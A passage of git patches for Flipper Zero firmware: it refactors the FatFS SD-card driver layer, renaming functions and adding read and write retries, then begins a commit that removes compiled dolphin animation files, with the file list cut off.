storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage); void* storage_get_storage_file_data(const File* file, StorageData* storage); diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index a3076f271..dd0fdc2a7 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -111,7 +111,7 @@ bool storage_process_file_open( file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { if(access_mode & FSAM_WRITE) { @@ -268,7 +268,7 @@ bool storage_process_dir_open(Storage* app, File* file, FuriString* path) { file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { storage_push_storage_file(file, path, storage); @@ -357,7 +357,7 @@ static FS_Error storage_process_common_remove(Storage* app, FuriString* path) { FS_Error ret = storage_get_data(app, path, &storage); do { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { ret = FSE_ALREADY_OPEN; break; } diff --git a/applications/services/storage/storages/storage_ext.c b/applications/services/storage/storages/storage_ext.c index 530c88f85..f6a650d34 100644 --- a/applications/services/storage/storages/storage_ext.c +++ b/applications/services/storage/storages/storage_ext.c @@ -619,7 +619,7 @@ static const FS_Api fs_api = { void storage_ext_init(StorageData* storage) { SDData* sd_data = malloc(sizeof(SDData)); - sd_data->fs = &USERFatFS; + sd_data->fs = &fatfs_object; sd_data->path = "0:/"; sd_data->sd_was_present = true; diff --git a/firmware/targets/f18/furi_hal/furi_hal.c b/firmware/targets/f18/furi_hal/furi_hal.c index 0a68fdb69..387963c1c 100644 --- a/firmware/targets/f18/furi_hal/furi_hal.c +++ b/firmware/targets/f18/furi_hal/furi_hal.c @@ -76,7 +76,7 @@ void furi_hal_init() { furi_hal_compress_icon_init(); // FatFS driver initialization - MX_FATFS_Init(); + fatfs_init(); FURI_LOG_I(TAG, "FATFS OK"); } diff --git a/firmware/targets/f7/fatfs/fatfs.c b/firmware/targets/f7/fatfs/fatfs.c index 1aa5fe44b..66ddbca06 100644 --- a/firmware/targets/f7/fatfs/fatfs.c +++ b/firmware/targets/f7/fatfs/fatfs.c @@ -18,22 +18,13 @@ #include "fatfs.h" -uint8_t retUSER; /* Return value for USER */ -char USERPath[4]; /* USER logical drive path */ -FATFS USERFatFS; /* File system object for USER logical drive */ -FIL USERFile; /* File object for USER */ +/** logical drive path */ +char fatfs_path[4]; +/** File system object */ +FATFS fatfs_object; -/* USER CODE BEGIN Variables */ - -/* USER CODE END Variables */ - -void MX_FATFS_Init(void) { - /*## FatFS: Link the USER driver ###########################*/ - retUSER = FATFS_LinkDriver(&USER_Driver, USERPath); - - /* USER CODE BEGIN Init */ - /* additional user code for init */ - /* USER CODE END Init */ +void fatfs_init(void) { + FATFS_LinkDriver(&sd_fatfs_driver, fatfs_path); } /** @@ -42,13 +33,7 @@ void MX_FATFS_Init(void) { * @retval Time in DWORD */ DWORD get_fattime(void) { - /* USER CODE BEGIN get_fattime */ return 0; - /* USER CODE END get_fattime */ } -/* USER CODE BEGIN Application */ - -/* USER CODE END Application */ - /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/fatfs.h b/firmware/targets/f7/fatfs/fatfs.h index a0775d88b..199f0150f 100644 --- a/firmware/targets/f7/fatfs/fatfs.h +++ b/firmware/targets/f7/fatfs/fatfs.h @@ -16,34 +16,24 @@ ****************************************************************************** */ -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __fatfs_H -#define __fatfs_H +#pragma once + +#include "fatfs/ff.h" +#include "fatfs/ff_gen_drv.h" +#include "user_diskio.h" + #ifdef __cplusplus extern "C" { #endif -#include "fatfs/ff.h" -#include "fatfs/ff_gen_drv.h" -#include "user_diskio.h" /* defines USER_Driver as external */ +/** File system object */ +extern FATFS fatfs_object; -/* USER CODE BEGIN Includes */ +/** Init file system driver */ +void fatfs_init(void); -/* USER CODE END Includes */ - -extern uint8_t retUSER; /* Return value for USER */ -extern char USERPath[4]; /* USER logical drive path */ -extern FATFS USERFatFS; /* File system object for USER logical drive */ -extern FIL USERFile; /* File object for USER */ - -void MX_FATFS_Init(void); - -/* USER CODE BEGIN Prototypes */ - -/* USER CODE END Prototypes */ #ifdef __cplusplus } #endif -#endif /*__fatfs_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/ffconf.h b/firmware/targets/f7/fatfs/ffconf.h index 9410cedc8..a44521550 100644 --- a/firmware/targets/f7/fatfs/ffconf.h +++ b/firmware/targets/f7/fatfs/ffconf.h @@ -164,7 +164,7 @@ /* USER CODE BEGIN Volumes */ #define _STR_VOLUME_ID 0 /* 0:Use only 0-9 for drive ID, 1:Use strings for drive ID */ -#define _VOLUME_STRS "RAM", "NAND", "CF", "SD1", "SD2", "USB1", "USB2", "USB3" +#define _VOLUME_STRS "SD" /* _STR_VOLUME_ID switches string support of volume ID. / When _STR_VOLUME_ID is set to 1, also pre-defined strings can be used as drive / number in the path name. _VOLUME_STRS defines the drive ID strings for each diff --git a/firmware/targets/f7/fatfs/syscall.c b/firmware/targets/f7/fatfs/syscall.c deleted file mode 100644 index 00eb8aede..000000000 --- a/firmware/targets/f7/fatfs/syscall.c +++ /dev/null @@ -1,116 +0,0 @@ -/*------------------------------------------------------------------------*/ -/* Sample code of OS dependent controls for FatFs */ -/* (C)ChaN, 2014 */ -/* Portions COPYRIGHT 2017 STMicroelectronics */ -/* Portions Copyright (C) 2014, ChaN, all right reserved */ -/*------------------------------------------------------------------------*/ - -/** - ****************************************************************************** - * @attention - * - * Copyright (c) 2017 STMicroelectronics. All rights reserved. - * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** -**/ - -#include "fatfs/ff.h" - -#if _FS_REENTRANT -/*------------------------------------------------------------------------*/ -/* Create a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to create a new -/ synchronization object, such as semaphore and mutex. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_cre_syncobj(/* 1:Function succeeded, 0:Could not create the sync object */ - BYTE vol, /* Corresponding volume (logical drive number) */ - _SYNC_t* sobj /* Pointer to return the created sync object */ -) { - int ret; - - //osSemaphoreDef(SEM); - //*sobj = osSemaphoreCreate(osSemaphore(SEM), 1); - *sobj = furi_mutex_alloc(FuriMutexTypeNormal); - ret = (*sobj != NULL); - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Delete a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to delete a synchronization -/ object that created with ff_cre_syncobj() function. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_del_syncobj(/* 1:Function succeeded, 0:Could not delete due to any error */ - _SYNC_t sobj /* Sync object tied to the logical drive to be deleted */ -) { - furi_mutex_free(sobj); - return 1; -} - -/*------------------------------------------------------------------------*/ -/* Request Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on entering file functions to lock the volume. -/ When a 0 is returned, the file function fails with FR_TIMEOUT. -*/ - -int ff_req_grant(/* 1:Got a grant to access the volume, 0:Could not get a grant */ - _SYNC_t sobj /* Sync object to wait */ -) { - int ret = 0; - - if(furi_mutex_acquire(sobj, _FS_TIMEOUT) == FuriStatusOk) { - ret = 1; - } - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Release Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on leaving file functions to unlock the volume. -*/ - -void ff_rel_grant(_SYNC_t sobj /* Sync object to be signaled */ -) { - furi_mutex_release(sobj); -} - -#endif - -#if _USE_LFN == 3 /* LFN with a working buffer on the heap */ -/*------------------------------------------------------------------------*/ -/* Allocate a memory block */ -/*------------------------------------------------------------------------*/ -/* If a NULL is returned, the file function fails with FR_NOT_ENOUGH_CORE. -*/ - -void* ff_memalloc(/* Returns pointer to the allocated memory block */ - UINT msize /* Number of bytes to allocate */ -) { - return ff_malloc(msize); /* Allocate a new memory block with POSIX API */ -} - -/*------------------------------------------------------------------------*/ -/* Free a memory block */ -/*------------------------------------------------------------------------*/ - -void ff_memfree(void* mblock /* Pointer to the memory block to free */ -) { - ff_free(mblock); /* Discard the memory block with POSIX API */ -} - -#endif diff --git a/firmware/targets/f7/fatfs/user_diskio.c b/firmware/targets/f7/fatfs/user_diskio.c index d7be09c53..b1250fcc2 100644 --- a/firmware/targets/f7/fatfs/user_diskio.c +++ b/firmware/targets/f7/fatfs/user_diskio.c @@ -1,4 +1,3 @@ -/* USER CODE BEGIN Header */ /** ****************************************************************************** * @file user_diskio.c @@ -16,35 +15,14 @@ * ****************************************************************************** */ -/* USER CODE END Header */ -#ifdef USE_OBSOLETE_USER_CODE_SECTION_0 -/* - * Warning: the user section 0 is no more in use (starting from CubeMx version 4.16.0) - * To be suppressed in the future. - * Kept to ensure backward compatibility with previous CubeMx versions when - * migrating projects. - * User code previously added there should be copied in the new user sections before - * the section contents can be deleted. - */ -/* USER CODE BEGIN 0 */ -/* USER CODE END 0 */ -#endif - -/* USER CODE BEGIN DECL */ - -/* Includes ------------------------------------------------------------------*/ #include "user_diskio.h" #include #include "sector_cache.h" -/* Private typedef -----------------------------------------------------------*/ -/* Private define ------------------------------------------------------------*/ -/* Private variables ---------------------------------------------------------*/ -/* Disk status */ static volatile DSTATUS Stat = STA_NOINIT; -static DSTATUS User_CheckStatus(BYTE lun) { +static DSTATUS driver_check_status(BYTE lun) { UNUSED(lun); Stat = STA_NOINIT; if(sd_get_card_state() == SdSpiStatusOK) { @@ -54,32 +32,20 @@ static DSTATUS User_CheckStatus(BYTE lun) { return Stat; } -/* USER CODE END DECL */ +static DSTATUS driver_initialize(BYTE pdrv); +static DSTATUS driver_status(BYTE pdrv); +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff); -/* Private function prototypes -----------------------------------------------*/ -DSTATUS USER_initialize(BYTE pdrv); -DSTATUS USER_status(BYTE pdrv); -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff); -#endif /* _USE_IOCTL == 1 */ - -Diskio_drvTypeDef USER_Driver = { - USER_initialize, - USER_status, - USER_read, -#if _USE_WRITE - USER_write, -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 - USER_ioctl, -#endif /* _USE_IOCTL == 1 */ +Diskio_drvTypeDef sd_fatfs_driver = { + driver_initialize, + driver_status, + driver_read, + driver_write, + driver_ioctl, }; -/* Private functions ---------------------------------------------------------*/ static inline bool sd_cache_get(uint32_t address, uint32_t* data) { uint8_t* cached_data = sector_cache_get(address); if(cached_data) { @@ -101,24 +67,73 @@ static inline void sd_cache_invalidate_all() { sector_cache_init(); } +static bool sd_device_read(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_read_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the read operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + +static bool sd_device_write(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_write_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the Write operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + sd_cache_invalidate_all(); + + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + /** * @brief Initializes a Drive * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_initialize(BYTE pdrv) { - /* USER CODE BEGIN INIT */ - +static DSTATUS driver_initialize(BYTE pdrv) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; - DSTATUS status = User_CheckStatus(pdrv); + DSTATUS status = driver_check_status(pdrv); furi_hal_sd_spi_handle = NULL; furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return status; - /* USER CODE END INIT */ } /** @@ -126,11 +141,9 @@ DSTATUS USER_initialize(BYTE pdrv) { * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_status(BYTE pdrv) { - /* USER CODE BEGIN STATUS */ +static DSTATUS driver_status(BYTE pdrv) { UNUSED(pdrv); return Stat; - /* USER CODE END STATUS */ } /** @@ -141,11 +154,10 @@ DSTATUS USER_status(BYTE pdrv) { * @param count: Number of sectors to read (1..128) * @retval DRESULT: Operation result */ -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN READ */ +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; bool single_sector = count == 1; if(single_sector) { @@ -154,32 +166,33 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { } } - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_read_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the read operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - res = RES_ERROR; - break; + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; + + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - if(single_sector && res == RES_OK) { + if(single_sector && result == true) { sd_cache_put(sector, (uint32_t*)buff); } - return res; - /* USER CODE END READ */ + return result ? RES_OK : RES_ERROR; } /** @@ -190,41 +203,36 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { * @param count: Number of sectors to write (1..128) * @retval DRESULT: Operation result */ -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN WRITE */ - /* USER CODE HERE */ +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; sd_cache_invalidate_range(sector, sector + count); - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_write_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the Write operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - sd_cache_invalidate_all(); + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; - res = RES_ERROR; - break; + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - return res; - /* USER CODE END WRITE */ + return result ? RES_OK : RES_ERROR; } -#endif /* _USE_WRITE == 1 */ /** * @brief I/O control operation @@ -233,9 +241,7 @@ DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { * @param *buff: Buffer to send/receive control data * @retval DRESULT: Operation result */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { - /* USER CODE BEGIN IOCTL */ +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff) { UNUSED(pdrv); DRESULT res = RES_ERROR; SD_CardInfo CardInfo; @@ -280,8 +286,6 @@ DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return res; - /* USER CODE END IOCTL */ } -#endif /* _USE_IOCTL == 1 */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/user_diskio.h b/firmware/targets/f7/fatfs/user_diskio.h index 12e0f27dc..1aa50e7c4 100644 --- a/firmware/targets/f7/fatfs/user_diskio.h +++ b/firmware/targets/f7/fatfs/user_diskio.h @@ -1,4 +1,3 @@ -/* USER CODE BEGIN Header */ /** ****************************************************************************** * @file user_diskio.h @@ -17,32 +16,18 @@ * ****************************************************************************** */ -/* USER CODE END Header */ -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __USER_DISKIO_H -#define __USER_DISKIO_H +#pragma once #ifdef __cplusplus extern "C" { #endif -/* USER CODE BEGIN 0 */ - -/* Includes ------------------------------------------------------------------*/ #include "sd_spi_io.h" #include "fatfs/ff_gen_drv.h" -/* Exported types ------------------------------------------------------------*/ -/* Exported constants --------------------------------------------------------*/ -/* Exported functions ------------------------------------------------------- */ -extern Diskio_drvTypeDef USER_Driver; -/* USER CODE END 0 */ +extern Diskio_drvTypeDef sd_fatfs_driver; #ifdef __cplusplus } -#endif - -#endif /* __USER_DISKIO_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +#endif \ No newline at end of file diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index a887de5cd..bc06a4ab1 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -82,7 +82,7 @@ void furi_hal_init() { #endif // FatFS driver initialization - MX_FATFS_Init(); + fatfs_init(); FURI_LOG_I(TAG, "FATFS OK"); } diff --git a/firmware/targets/f7/src/update.c b/firmware/targets/f7/src/update.c index d8d26eb7c..c1e1084c2 100644 --- a/firmware/targets/f7/src/update.c +++ b/firmware/targets/f7/src/update.c @@ -44,7 +44,7 @@ static bool flipper_update_init() { furi_hal_spi_config_init(); - MX_FATFS_Init(); + fatfs_init(); if(!hal_sd_detect()) { return false; } From 74c964183f3f581629abf2f5b7e9d2bba3ac5a51 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 17 Mar 2023 23:59:41 +0000 Subject: [PATCH 145/329] Dont keep compiled animations in repo --- assets/.gitignore | 2 + .../dolphin/L1_Boxing_128x64/frame_0.bm | Bin 481 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_1.bm | Bin 461 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_2.bm | Bin 531 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_3.bm | Bin 437 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_4.bm | Bin 459 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_5.bm | Bin 450 -> 0 bytes .../dolphin/L1_Boxing_128x64/frame_6.bm | Bin 442 -> 0 bytes .../dolphin/L1_Boxing_128x64/meta.txt | 32 --- .../dolphin/L1_Cry_128x64/frame_0.bm | Bin 889 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_1.bm | Bin 911 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_2.bm | Bin 910 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_3.bm | Bin 923 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_4.bm | Bin 894 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_5.bm | Bin 940 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_6.bm | Bin 915 -> 0 bytes .../dolphin/L1_Cry_128x64/frame_7.bm | Bin 934 -> 0 bytes .../resources/dolphin/L1_Cry_128x64/meta.txt | 41 ---- .../dolphin/L1_Furippa1_128x64/frame_0.bm | Bin 294 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_1.bm | Bin 325 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_10.bm | Bin 465 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_11.bm | Bin 698 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_12.bm | Bin 541 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_13.bm | Bin 584 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_14.bm | Bin 610 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_15.bm | Bin 719 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_16.bm | Bin 458 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_17.bm | Bin 400 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_18.bm | Bin 333 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_2.bm | Bin 351 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_3.bm | Bin 324 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_4.bm | Bin 387 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_5.bm | Bin 390 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_6.bm | Bin 407 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_7.bm | Bin 294 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_8.bm | Bin 283 -> 0 bytes .../dolphin/L1_Furippa1_128x64/frame_9.bm | Bin 312 -> 0 bytes .../dolphin/L1_Furippa1_128x64/meta.txt | 14 -- .../L1_Happy_holidays_128x64/frame_0.bm | Bin 898 -> 0 bytes .../L1_Happy_holidays_128x64/frame_1.bm | Bin 893 -> 0 bytes .../L1_Happy_holidays_128x64/frame_10.bm | Bin 901 -> 0 bytes .../L1_Happy_holidays_128x64/frame_11.bm | Bin 896 -> 0 bytes .../L1_Happy_holidays_128x64/frame_12.bm | Bin 890 -> 0 bytes .../L1_Happy_holidays_128x64/frame_2.bm | Bin 891 -> 0 bytes .../L1_Happy_holidays_128x64/frame_3.bm | Bin 886 -> 0 bytes .../L1_Happy_holidays_128x64/frame_4.bm | Bin 893 -> 0 bytes .../L1_Happy_holidays_128x64/frame_5.bm | Bin 886 -> 0 bytes .../L1_Happy_holidays_128x64/frame_6.bm | Bin 888 -> 0 bytes .../L1_Happy_holidays_128x64/frame_7.bm | Bin 893 -> 0 bytes .../L1_Happy_holidays_128x64/frame_8.bm | Bin 896 -> 0 bytes .../L1_Happy_holidays_128x64/frame_9.bm | Bin 900 -> 0 bytes .../dolphin/L1_Happy_holidays_128x64/meta.txt | 23 -- .../dolphin/L1_Laptop_128x51/frame_0.bm | Bin 555 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_1.bm | Bin 557 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_2.bm | Bin 560 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_3.bm | Bin 556 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_4.bm | Bin 560 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_5.bm | Bin 554 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_6.bm | Bin 553 -> 0 bytes .../dolphin/L1_Laptop_128x51/frame_7.bm | Bin 560 -> 0 bytes .../dolphin/L1_Laptop_128x51/meta.txt | 32 --- .../dolphin/L1_Leaving_sad_128x64/frame_0.bm | Bin 514 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_1.bm | Bin 526 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_10.bm | Bin 316 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_11.bm | Bin 294 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_12.bm | Bin 322 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_2.bm | Bin 542 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_3.bm | Bin 557 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_4.bm | Bin 488 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_5.bm | Bin 469 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_6.bm | Bin 499 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_7.bm | Bin 486 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_8.bm | Bin 403 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/frame_9.bm | Bin 317 -> 0 bytes .../dolphin/L1_Leaving_sad_128x64/meta.txt | 32 --- .../dolphin/L1_Mad_fist_128x64/frame_0.bm | Bin 520 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_1.bm | Bin 540 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_10.bm | Bin 542 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_11.bm | Bin 505 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_12.bm | Bin 501 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_13.bm | Bin 500 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_2.bm | Bin 515 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_3.bm | Bin 538 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_4.bm | Bin 512 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_5.bm | Bin 519 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_6.bm | Bin 524 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_7.bm | Bin 515 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_8.bm | Bin 517 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/frame_9.bm | Bin 526 -> 0 bytes .../dolphin/L1_Mad_fist_128x64/meta.txt | 23 -- .../dolphin/L1_Mods_128x64/frame_0.bm | Bin 636 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_1.bm | Bin 640 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_10.bm | Bin 652 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_11.bm | Bin 634 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_12.bm | Bin 610 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_13.bm | Bin 624 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_14.bm | Bin 609 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_15.bm | Bin 614 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_16.bm | Bin 638 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_17.bm | Bin 629 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_18.bm | Bin 638 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_19.bm | Bin 629 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_2.bm | Bin 639 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_20.bm | Bin 613 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_21.bm | Bin 626 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_22.bm | Bin 609 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_23.bm | Bin 610 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_24.bm | Bin 546 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_25.bm | Bin 417 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_26.bm | Bin 542 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_27.bm | Bin 616 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_28.bm | Bin 640 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_29.bm | Bin 639 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_3.bm | Bin 636 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_30.bm | Bin 635 -> 0 bytes 